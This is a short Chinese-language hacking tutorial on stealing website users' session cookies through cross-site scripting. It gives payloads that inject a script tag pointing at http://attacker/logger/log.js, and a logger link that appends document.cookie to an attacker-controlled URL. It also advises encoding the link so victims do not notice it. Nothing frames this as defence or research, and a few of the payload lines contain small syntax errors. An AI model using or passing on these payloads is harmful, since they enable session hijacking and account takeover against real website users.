上传所有文件到服务器 并且根据你的需要调整 log.js , 然后以如下的方式去发送你的记录cookies的链接：
http://attacker/logger/log.php?cookie='+document.cookie

对 log.php? 之后的部分进行加密或者编码以使其他人不去注意，增大欺骗性。

如果你基本不懂javascript，你也可以使用通过使用 log.js file 来自动窃取cookies.

你只需使用 <script src="http://attacker/logger/log.js></script>标签，你将替换你的主机为目标主机。

示例:
如果你在某个网站发现了一个 Xss漏洞, 那么

x.com/x.php?x=<script>alert('xss')<script>

或者

x.com/x.php?x="><script>alert('xss')</script>

你只需替换script后面的部分

比如

<script src="http://attacker/logger/log.js">

然后它将重定向用户到你的logger,

你可以根据你的需要选择你认为容易的方法.

x就是可能存在跨站脚本漏洞的站点。

现在它将在客户端自动执行 js ，而你将获得受害者的 Cookies

来源于天阳技术联盟